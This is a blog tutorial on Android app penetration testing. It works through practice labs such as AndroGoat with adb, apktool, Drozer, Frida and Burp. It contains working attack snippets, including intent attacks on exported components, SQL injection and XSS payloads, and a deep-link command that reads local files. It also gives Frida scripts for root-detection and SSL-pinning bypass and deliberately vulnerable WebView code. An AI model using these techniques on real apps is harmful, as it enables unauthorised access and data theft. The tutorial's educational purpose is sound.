June 11, 2026
Android App Penetration Testing: From APK Decompilation to Runtime Exploitation [Tools and Labs]
Hello, everyone. I hope you are well.
Khaledyassen
16 min read
بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ
In this article, I'll cover the basics of Android penetration testing, including the required tools and how to use them. I'm not an expert Android penetration tester, but I hope you find this article useful.
Before I start talking about Android penetration testing tools, we need to start with an Android virtual device, OR a physical device, to work.
Android Studio is the official Integrated Development Environment (IDE) for Android app development, developed by Google. It provides all the tools developers need to create, test, and debug Android apps, and it supports running apps on physical devices and emulators.
I'm using Android Studio to create an AVD (Android Virtual Device), but there are other Android emulators you can use, such as Genymotion, which is also good and easy to use.
In Android Studio, create an AVD to work with. I'm using Android 13 with the x86_64 CPU architecture (ABI). After you create the AVD — regardless of which emulator you choose — we'll move on to the tools and discuss each one in detail.
— — Some Idioms and Important Things: — —
Firstly, we need to cover some basic concepts.
AndroidManifest.xml: Think of it as the app's identity card and configuration file for the Android operating system. Before the system can run any of your app's code, it must read the manifest to understand what the app is, what components it has, and what permissions it needs.
Insecure storage: SharedPreferences, DBs, files, external storage:
It means sensitive data (auth tokens, passwords, API keys, PII, JWTs, encryption keys, etc.) is stored on-device in a way an attacker or another app can read or modify.
Common Android storage places:
- SharedPreferences: key/value XML files usually used for settings, Ex,
/data/data/<package_name>/shared_prefs/ - SQLite databases: structured app data Ex:
/data/data/<package_name>/databases/ - Cache directory:
/data/data/<package_name>/cache/ - External storage:
/storage/emulated/0/ - Logs: not strictly storage, but sensitive info in logs.
Activities:
Represents UI screens that users interact with; each activity can be started via an intent by the same app or another app.
- Potential Security Issue: Exported activities can be accessed by other apps if not restricted. An attacker can invoke internal(sensitive) activities to make them public.
- Example: Suppose an app that has
<activity android:name=".AdminActivity"
android:exported="true">
</activity><activity android:name=".AdminActivity"
android:exported="true">
</activity>If this activity allows **admin-**only functions like Create, Update, and delete users, and it doesn't check authentication internally. An attacker can create a malicious app and send an intent to it because the exported activity is true, like
Intent i = new Intent();
i.setClassName("com.victim.app", "com.victim.app.AdminActivity");
startActivity(i);Intent i = new Intent();
i.setClassName("com.victim.app", "com.victim.app.AdminActivity");
startActivity(i);Services:
Perform background operations like playing music or downloading data; they can run even if no activity is visible.
- Potential Security Issue: Exported services can be started or bound by other apps & attacker can perform actions like sending data indirectly.
- Example: Suppose we have an UploadService that uploads a user file to the server without any other internal checks.
<service android:name=".UploadService"
android:exported="true" /><service android:name=".UploadService"
android:exported="true" />The attacker's malicious app can send any file to upload, like the following
Intent intent = new Intent();
intent.setClassName("com.victim.app", "com.victim.app.UploadService");
intent.putExtra("file", "/data/data/com.victim.app/userinfo.db");
startService(intent);Intent intent = new Intent();
intent.setClassName("com.victim.app", "com.victim.app.UploadService");
intent.putExtra("file", "/data/data/com.victim.app/userinfo.db");
startService(intent);Broadcast Receivers:
Respond to system-wide or app messages like battery low or SMS_Received.
- Potential Security Issue: Unprotected receivers can be triggered by malicious broadcasts. If they perform sensitive actions like deleting files or sending data.
- Example: If we have a Receiver, it resets the app data
<receiver android:name=".ResetReceiver"
android:exported="true">
<intent-filter>
<action android:name="com.victim.RESET_APP"/>
</intent-filter>
</receiver><receiver android:name=".ResetReceiver"
android:exported="true">
<intent-filter>
<action android:name="com.victim.RESET_APP"/>
</intent-filter>
</receiver>An attacker's malicious app can send things like the following to reset it.
Intent i = new Intent("com.victim.RESET_APP");
sendBroadcast(iIntent i = new Intent("com.victim.RESET_APP");
sendBroadcast(iContent providers:
Managed structured data like databases or files, and allowed sharing data between apps using the URI content://<authority>/<path>/<id>
- Potential Security Issue: Can lead to SQL injection vulnerabilities via unchecked URI parameters OR Path traversal in file-based providers.
- Example: Suppose that we have a content provider that returns user data via an ID that exists in the URI.
<provider android:name=".UserDataProvider"
android:authorities="com.victim.app.provider"
android:exported="true" />
Cursor c = db.rawQuery("SELECT * FROM users WHERE id=" + uri.getLastPathSegment(), null);<provider android:name=".UserDataProvider"
android:authorities="com.victim.app.provider"
android:exported="true" />
Cursor c = db.rawQuery("SELECT * FROM users WHERE id=" + uri.getLastPathSegment(), null);An attacker can get SQL injection to get all user data by querying
content://com.victim.app.provider/users/1 OR 1=1--content://com.victim.app.provider/users/1 OR 1=1--Web Views:
It is an Android component that allows you to display web content directly within your app, and it can lead to different vulnerabilities. If you look for the following Java code, you will notice that you can execute JavaScript(XSS) and access internal files(LFI) because you enabled JavaScript and file access to true.
// Vulnerable (Java)
WebView webView = findViewById(R.id.webview);
WebSettings s = webView.getSettings();
// Dangerous combination: JS + file access
s.setJavaScriptEnabled(true);
s.setAllowFileAccess(true);
s.setAllowFileAccessFromFileURLs(true);
s.setAllowUniversalAccessFromFileURLs(true);
// Loads a user-editable local file (attacker could place/modify this file)
webView.loadUrl("file:///sdcard/app_data/user_note.html");// Vulnerable (Java)
WebView webView = findViewById(R.id.webview);
WebSettings s = webView.getSettings();
// Dangerous combination: JS + file access
s.setJavaScriptEnabled(true);
s.setAllowFileAccess(true);
s.setAllowFileAccessFromFileURLs(true);
s.setAllowUniversalAccessFromFileURLs(true);
// Loads a user-editable local file (attacker could place/modify this file)
webView.loadUrl("file:///sdcard/app_data/user_note.html");Root Detection:
Root refers to the system-level (superuser) account. It's equivalent to the Administrator account in Windows or the root account in Linux. Root detection is an expected security mechanism in Android apps that secures the device's integrity. Rooting[Root detection bypass] a device gives users administrative privileges, allowing them to bypass certain security features, giving them power over the device, allowing them to read/modify app memory and files, intercept/alter network traffic, remove protections, and persist privileged malware.
SSL Pinning:
SSL/TLS (HTTPS) normally trusts any certificate chain that the device's trusted CA store accepts.SSL pinning is when an app says, "I will only trust this certificate (or public key/intermediate), regardless of what the OS trusts. Attackers attempt to bypass pinning to read sensitive data in transit — capture tokens, passwords, and PII. Modify requests/responses.
=============Tools And Labs ==============
ADB:
Android Debug Bridge is a command-line tool that lets you communicate with a device. The The adb command facilitates a variety of device actions, such as installing and debugging apps. adb provides access to a Unix shell that you can use to run a variety of commands on a device. It is a client-server program
You can use ADB after installing the Android SDK Command-line Tools, which include ADB. You can also use it with your physical device. For more details, refer to the official documentation: https://developer.android.com/tools/adb
I'm going to talk about the important commands used with the adb.
- lists all connected devices
adb devices - Install APK files directly to your device using ADB
adb install <path_to_apk> - Starts a remote shell connection to your Android device
adb shell&& Reboot the deviceadb reboot - Copies a file from your computer to the Android device
adb push <local_file_path> <device_file_path>&& Copies a file from your device to the computeradb pull <device_file_path> <local_file_path> - Getting all the logs of your Android using
adb logcat - Lists the package names of all installed apps
adb shell pm list packages - Launches a specific activity in an app
adb shell am start -n <package_name>/<activity_name>EX:adb shell am start -n com.android.settings/.Settings - Other important commands -> https://developer.android.com/tools/adb
APKtool:
It is an essential tool for anyone who needs to reverse engineer, analyze, or modify Android applications (APK files). It decompiles an APK file back to almost its original form, and Recompiles an APK file: After you have made changes to the decoded files, Apktool can rebuild them into a new APK file. You can install it from the following: https://apktool.org/docs/install/
I will walk you through a real example from the Androgoat lab to show how to use the apktool command with another GUI tool like JadxGUI. First, let's install the lab using: adb install AndroGoat.apk
Decompile the APK file using jadx GUI, add the APK file to the jadxGUI tool, and the output will look like the following
As you can see, it's easy to search for different things inside the decompiled APK. For example, we findpromocode = "NEW2019"It is a security issue. If we open the AndroGoat app and go to the Hardcode Issue section, we see that the price is 2000, but after we use the promo code we found, we'll get a discounted price.
Now, let's use the apktool
apktool d AndroGoat.apk -o AndroGoat_output # d for decompile the app # -o the output directoryapktool d AndroGoat.apk -o AndroGoat_output # d for decompile the app # -o the output directoryIn the output directory, you'll see structures similar to what we saw in JadxGUI.
In our lab, if we explore the files, we'll find the Binary Patching section, which contains an Administration button that we can't access. But think about this: what if we could modify the decompiled code behind that button and then recompile the app?
Binary Patching: Modifying the app's binary code to alter its behavior, such as disabling security features or enabling hidden functionalities.
After some search using JadxGUI or apktool, I found
The file res/layout/activity_binary_patching.xmlcontains the following button, which has enabled="false"
<Button
android:enabled="false"
android:id="@+id/adminButton"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginLeft="15dp"
android:layout_marginTop="5dp"
android:layout_marginRight="15dp"
android:text="Administration"/><Button
android:enabled="false"
android:id="@+id/adminButton"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginLeft="15dp"
android:layout_marginTop="5dp"
android:layout_marginRight="15dp"
android:text="Administration"/>Now we know where the file is located and what we need to change, so let's go to our APKTool output, AndroGoat_output/res/layout/activity_binary_patching.xml then modify the false to true. Then recompile it using the following steps.
- Firstly, we will create an unsigned APK file that Android won't install because Android requires apps to be signed to verify integrity and developer identity..
apktool b AndroGoat_output -o New_Target_APK_Name.apk # b recombile and -o for the Name of the new APK fileapktool b AndroGoat_output -o New_Target_APK_Name.apk # b recombile and -o for the Name of the new APK file- Secondly, generate a signing key. It will ask you some questions (name, organization, etc.) and a password for the keystore and alias. You can leave them by default.
keytool -genkey -v -keystore Any_KeyStore_Name -keyalg RSA -keysize 2048 -validity 1000 -alias Any_Alias_Name
# -genkey → generate a new key pair.
# -keystore Any_KeyStore_Name → file where your private key is stored.
# -keyalg RSA -keysize 2048 → algorithm & key strength (standard).
# -validity 1000 → number of days the key is valid (e.g., ~3 years).
# -alias Any_Alias_Name → nickname for your key (you’ll use this later when signing).
# Also you can use <zipalign> instead of keytoolkeytool -genkey -v -keystore Any_KeyStore_Name -keyalg RSA -keysize 2048 -validity 1000 -alias Any_Alias_Name
# -genkey → generate a new key pair.
# -keystore Any_KeyStore_Name → file where your private key is stored.
# -keyalg RSA -keysize 2048 → algorithm & key strength (standard).
# -validity 1000 → number of days the key is valid (e.g., ~3 years).
# -alias Any_Alias_Name → nickname for your key (you’ll use this later when signing).
# Also you can use <zipalign> instead of keytool- Thirdly, now use apksigner (part of Android SDK build-tools) to sign the APK:
apksigner sign --ks Any_KeyStore_Name --ks-key-alias Any_Alias_Name New_AndroGoat.apk
# --ks → keystore file you created.
# --ks-key-alias → alias name of your key inside the keystore.
# New_AndroGoat.apk → unsigned APK to sign.apksigner sign --ks Any_KeyStore_Name --ks-key-alias Any_Alias_Name New_AndroGoat.apk
# --ks → keystore file you created.
# --ks-key-alias → alias name of your key inside the keystore.
# New_AndroGoat.apk → unsigned APK to sign.- Fourthly, verify the signature and install
apksigner verify New_AndroGoat.apk # If it outputs nothing, the signature is valid
adb install ./New_AndroGoat.apk # Install the new Android appapksigner verify New_AndroGoat.apk # If it outputs nothing, the signature is valid
adb install ./New_AndroGoat.apk # Install the new Android appAfter we return to the same screen and recheck the Administration button, we can now access it successfully.
Root Access:
If we tried to access the adb shell as root, we would get
git clone https://gitlab.com/newbit/rootAVD.git
cd rootAVD
bash rootAVD.sh ListAllAVDs # To list avds
# Based on your avd we will use on of the result of rootAVD like the following I use
bash rootAVD.sh system-images/android-36/google_apis_playstore/x86_64/ramdisk.imggit clone https://gitlab.com/newbit/rootAVD.git
cd rootAVD
bash rootAVD.sh ListAllAVDs # To list avds
# Based on your avd we will use on of the result of rootAVD like the following I use
bash rootAVD.sh system-images/android-36/google_apis_playstore/x86_64/ramdisk.imgYou'll see that Magisk has been installed, and your AVD will reboot automatically. Then, open the Magisk app and execute it within the Superuser. After that, you'll be able to use the ADB shell with root access easily.
Now that we have root access on our device, we run into a new problem: some applications detect that the device is rooted and block access. To bypass this, we need a root detection bypass. Instead of unrooting our emulator (which we still need for testing), we can simply use Frida to hook the isRooted function and force it to always return false.
Understand how root detection works in the target app. In the AndroidManifest.xml file, you'll find an activity called RootDetectionActivity.If you analyze its code, you'll see a method named isRooted() that checks for signs of a rooted device, such as the presence of binaries like su or known root-related packages like Superuser.
- If
isRooted()returnstrueThe app displays: "Device is Rooted". - If
isRooted()returnsfalseThe app displays: "Device is Not Rooted".
Let's now use the following script to bypass it
Java.perform(function () {
console.log("[*] Root bypass loaded");
var RootDetectionActivity = Java.use(
"owasp.sat.agoat.RootDetectionActivity"
);
// Bypass isRooted()
RootDetectionActivity.isRooted.implementation = function () {
console.log("[+] isRooted() bypassed");
return false;
};
// Bypass isRooted1()
RootDetectionActivity.isRooted1.implementation = function () {
console.log("[+] isRooted1() bypassed");
return false;
};
});
frida -U -f owasp.sat.agoat -l bypass.js
# Below, I will explain how to use the Frida tool.Java.perform(function () {
console.log("[*] Root bypass loaded");
var RootDetectionActivity = Java.use(
"owasp.sat.agoat.RootDetectionActivity"
);
// Bypass isRooted()
RootDetectionActivity.isRooted.implementation = function () {
console.log("[+] isRooted() bypassed");
return false;
};
// Bypass isRooted1()
RootDetectionActivity.isRooted1.implementation = function () {
console.log("[+] isRooted1() bypassed");
return false;
};
});
frida -U -f owasp.sat.agoat -l bypass.js
# Below, I will explain how to use the Frida tool.
Insecure Data Storage: SharedPreferences, DBs, files, external storage:
We've already explained the concept, but now we'll look at how it appears in the AndroGoat lab under the Insecure Storage section.
Firstly, we need to know the package of our lab using adb shell pm list packages | grep "goat"-> Result -> package:owasp.sat.agoatIf we go to the following /data/data/owasp.sat.agoat/We will see different folders like cache, code_cache, databases, and shared_prefs. Suppose username and password are (admin: admin).
Firstly, we need to identify the package name of our lab using: adb shell pm list packages | grep "goat"-> Result -> package:owasp.sat.agoatNext, navigate to: /data/data/owasp.sat.agoat/Here, you'll see different folders like cache, code_cache, databases, and shared_prefs.
- shared_prefs, we will see the users.xml files, which contain the credentials in XML format. Also, we can edit the file as we want, like the score.xml file.
- databases: pull the aGoat file, then use the SQLite3 command or DB Browser GUI for better data extraction, as you'll see.
- Inside the Side Channel Data Leakage section, if we go to Insecure Logging and enter adminlog:adminlog, then run the following
adb logcat - pid=$(adb shell pidof -s owasp.sat.agoat)
# we will see everything realted to our target APPadb logcat - pid=$(adb shell pidof -s owasp.sat.agoat)
# we will see everything realted to our target APP
Drozer:
An Android application security testing framework that helps testers find vulnerabilities. Drozer has different modules, each with its own operation. EX: Static analysis of an application — Performing enumeration on various packages — Creating Exploits for activities and content providers — Automating SQL injection.
You can install it using Docker or pip → pip install drozer You also need the Drozer Agent installed on your Android device. Start the drozer agent, then adb forward tcp:31415 tcp:31415Finally, start the drozer console by running the drozer console connect.
I'll walk through the different modules available in Drozer and ADB.
- For Packages
run app.package.list— list installed packages. &&run app.package.list -f <Name>— search for a package by name substring. &&run app.package.info -a <package.name>— basic info: permissions, version about our target package. - For Activities
run app.activity.info -a <package.name>— list activities that are exported. &&run app.activity.start --component <pkg> <ActivityName>— attempt to start an exported activity. - For Services
run app.service.info -a <package.name>— list services and permissions required. &&run app.service.start/run app.service.stop— start or stop services. &&run app.service.send <pkg> <ServiceName> --msg <args> --extra <key> <value>— interact with started service (send intents/bundles). - For Content providers
run app.provider.info -a <package.name>— list providers and permissions. &&run scanner.provider.finduris -a <package.name>— Enumerate likely content URIs (common attack vector). &&run app.provider.query content://... --vertical— query an accessible content provider URI. &run app.provider.read content://.../path— attempt to read local files. - For Broadcast receivers
run app.broadcast.info -a <package.name>— list broadcast receivers and export status. &&run app.broadcast.send --action <pkg>.<ReceiverAction> --extra "k=v"— send crafted intents to receivers.
There are additional modules and features in Drozer. You can see more details by using the list command inside the tool. https://labs.withsecure.com/tools/drozer and https://angelica.gitbook.io/hacktricks/mobile-pentesting/android-app-pentesting/drozer-tutorial.
Unprotected Android Components:
We need to verify the PIN to be able to log in, but what if we bypass the activity that handles this verification? If we use Drozer to interact with the app's activities, we can attempt to start the protected activity directly and bypass the PIN check. Exrun app.activity.info -a owasp.sat.agoat
- Start the exported activity using it,
run app.activity.start --component owasp.sat.agoat owasp.sat.agoat.AccessControl1ViewActivityand we will bypass it successfully.
Input Validations:
Insecure or missing user input validation can introduce serious security vulnerabilities in Android apps, such as XSS or SQLI, or LFI.
- XSS: If we enter any value into the Name field, we notice that this value is reflected in the page body. Let's dig deeper by inspecting the XSSActivity with Jadx. You'll see that it uses a WebView, and, importantly, that JavaScript is enabled for this WebView. This setup allows for XSS injection, as user-supplied input is passed directly into the web content without proper sanitization.
Let's inject an XSS payload like <script>alert("Hacked")</script> Then you will see a JavaScript alert box.
- SQL Injection (SQLI): When user input is directly included in an SQL statement without proper validation or sanitization, as exists in the SQLInjectionActivity, it creates an SQL Injection vulnerability. For example, if we enter:
admin'This will typically cause an SQL error because of the unmatched single quote. To exploit this, we can inject a payload such as:admin'OR 1=1;--This statement alters the original SQL logic and returns all users from the database, clearly demonstrating a successful SQL injection attack.
- WebView(Local file access): an attacker can access local files if the allow file access is set to true, as exists in the following
While JavaScript itself is generally safe, enabling the following settings can expose your application to various vulnerabilities.
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);
settings.setAllowFileAccess(true);
settings.setAllowContentAccess(true);
settings.setAllowFileAccessFromFileURLs(true);
settings.setAllowUniversalAccessFromFileURLs(true);WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);
settings.setAllowFileAccess(true);
settings.setAllowContentAccess(true);
settings.setAllowFileAccessFromFileURLs(true);
settings.setAllowUniversalAccessFromFileURLs(true);SSL Pinning bypass:
There are different ways to bypass the SSL pinning.
- For Static review, inspect the application code for pinning libraries — Custom trust managers — Hardcoded certs — and Public keys in the source or resources. EX:
network_security_config.xmlanalysis — Many apps explicitly configure cleartext traffic permissions and cert pinning here. This file is inres/xml/and is often the first thing to check after decompiling. Misconfigured entries<base-config cleartextTrafficPermitted="true"/>are instant findings. - For Dynamic: we will use different tools like Objection, Frida, and Burp for request interception.
Burp Suite:
a web application security testing platform used to intercept, inspect, and manipulate HTTP(S) traffic. created by https://portswigger.net/burp.
— Steps to intercept requests using Burp in Android:
- Run Burp, then go to the Add proxy listener → choose the IP address 192 with port 8080. Then, in the Android emulator, navigate to http://192 in Chrome and download the .cert file. Then, go to settings, then more security and privacy → Encryption & credentials → install a certificate → choose the certificate downloaded.
- Go to the Mobile Network Security → Internet → choose the AndroidWifi →Edit it → change the IP to 192 IP → You can intercept Requests easily.
- Network Intercepting: If you navigate to the HTTP section inside it, you can intercept requests via the Burp Suite proxy.
However, when we press the HTTPS button, an error message appears stating "please intercept using proxy," and no requests are captured in Burp Suite. This indicates that SSL pinning is enabled in the application, so we need to bypass this protection to intercept HTTPS traffic. To bypass SSL pinning, several tools are commonly used: Frida or Objection.
Frida:
It is a free and open-source dynamic instrumentation toolkit that lets you inject snippets of JavaScript into running processes to hook functions, inspect/modify memory, intercept APIs, and implement custom runtime behavior
— How to install it:
- Make sure you have Frida installed on your workstation (laptop/PC):
pip3 install frida-tools - Identify Device Architecture: Determine the CPU architecture for your Android device/emulator. Run this ADB command to check your device's architecture
adb shell getprop ro.product.cpu.abiYou will get in response something likex86_64. - Download the Corresponding Frida Server: Go to the official Frida releases page and scroll to assets. Download the
frida-serverfile that matches your device's architecture (e.g.,frida-server-<version>-android-x86_64.xzfor x86_64). - Extract it with
xz -d frida-server.xz - Push and Run Frida Server on Your Device: a] Transfer the server binary to your device
db push frida-server /data/local/tmp/[b] Set executable permission:db shell "chmod 755 /data/local/tmp/frida-server"[c] Start Frida serveradb shell "/data/local/tmp/frida-server &". - Run
frida-ps -UaTo confirm that Frida is running on your device and to list the currently running apps.
— How to use:
// hook_android_login.js
/*
The script hooks the authenticate(String user, String pass) method
1. Prints the original username and password sent by the app.
2. Replaces them with attacker-controlled values.
3. Calls the original authenticate method but using the new credentials.
4. Prints the result returned by the original method.
5. Returns that result back to the app.
*/
Java.perform(function () {
var LoginManager = Java.use("com.example.app.LoginManager");
LoginManager.authenticate.overload("java.lang.String","java.lang.String").implementation = function (user, pass) {
console.log("[+] authenticate called. user:", user, "pass:", pass);
// change credentials
var newUser = "attacker";
var newPass = "p@ssw0rd";
console.log("[+] replacing creds with", newUser, newPass);
var result = this.authenticate(newUser, newPass);
console.log("[+] original result:", result);
return result;
};
});
frida -U -f com.example.app -l hook_android_login.js
# -U Stands for USB device.Tells Frida to connect to the device.
# -f Launches the target app (package name) from the beginning before injecting the script.
# -l Loads your Frida script at startup.// hook_android_login.js
/*
The script hooks the authenticate(String user, String pass) method
1. Prints the original username and password sent by the app.
2. Replaces them with attacker-controlled values.
3. Calls the original authenticate method but using the new credentials.
4. Prints the result returned by the original method.
5. Returns that result back to the app.
*/
Java.perform(function () {
var LoginManager = Java.use("com.example.app.LoginManager");
LoginManager.authenticate.overload("java.lang.String","java.lang.String").implementation = function (user, pass) {
console.log("[+] authenticate called. user:", user, "pass:", pass);
// change credentials
var newUser = "attacker";
var newPass = "p@ssw0rd";
console.log("[+] replacing creds with", newUser, newPass);
var result = this.authenticate(newUser, newPass);
console.log("[+] original result:", result);
return result;
};
});
frida -U -f com.example.app -l hook_android_login.js
# -U Stands for USB device.Tells Frida to connect to the device.
# -f Launches the target app (package name) from the beginning before injecting the script.
# -l Loads your Frida script at startup.SSL Pinning bypass using frida:
You can create your own script to bypass SSL pinning or utilize existing scripts available at https://codeshare.frida.re/
frida -U --codeshare akabe1/frida-multiple-unpinning -f Package_Name
# This is an example for ssl pinning bypassfrida -U --codeshare akabe1/frida-multiple-unpinning -f Package_Name
# This is an example for ssl pinning bypass
If you encounter any errors or problems, you can use the following repo to automate most of the process with the included scripts. https://github.com/httptoolkit/frida-interception-and-unpinning
In the end, you will be able to bypass it.
Other Important Topics:
- Deep link / App Link hijacking is one of the most important Android IPC/client-side attack vectors. allow apps to open specific screens directly from browsers — emails — QR codes EX: mybank://transfer?id OR https://bank.example.com
<!-- Example vulnerable manifest -->
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="mybank"
android:host="transfer"/>
</intent-filter>
<!-- Example vulnerable manifest -->
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="mybank"
android:host="transfer"/>
</intent-filter>
Also, it can lead to accessing local files, like the following attack
adb shell am start -a android.intent.action.VIEW -d 'insecureshop://com.insecureshop/web?url=file:///etc/hosts’adb shell am start -a android.intent.action.VIEW -d 'insecureshop://com.insecureshop/web?url=file:///etc/hosts’- Firebase/backend misconfiguration — Insecure Firebase Realtime Database and Storage rules are found in real apps. Check by looking in the resource files, specifically
res/values/strings.xmlor by locating thegoogle-services.jsonconfig file that is sometimes packaged with the app from the APK, and testing unauthenticated read/write access:
# Example which contain (.firebaseio.com) but you need to add .json at the end
curl "https://your-app.firebaseio.com/.json"
# If it returns data, unauthenticated read is enabled# Example which contain (.firebaseio.com) but you need to add .json at the end
curl "https://your-app.firebaseio.com/.json"
# If it returns data, unauthenticated read is enabled- apkleaks for automated secret scanning — Running
apkleaks -f target.apk -o leaks.jsonautomatically greps for API keys, tokens, and credentials across decompiled output. Faster than manualgrepin jadx.
References:
Here are many references that you can read.
- GitHub — imran-parray/Mind-Maps: Mind-Maps of Several Things
- https://github.com/DevHackz/Android-Pentesting
- https://github.com/dn0m1n8tor/AndroidPentest101
- https://github.com/tanprathan/MobileApp-Pentest-Cheatsheet
- https://github.com/Hrishikesh7665/Android-Pentesting-Checklist
- https://github.com/B3nac/Android-Reports-and-Resources
- https://xmind.app/m/GkgaYH/#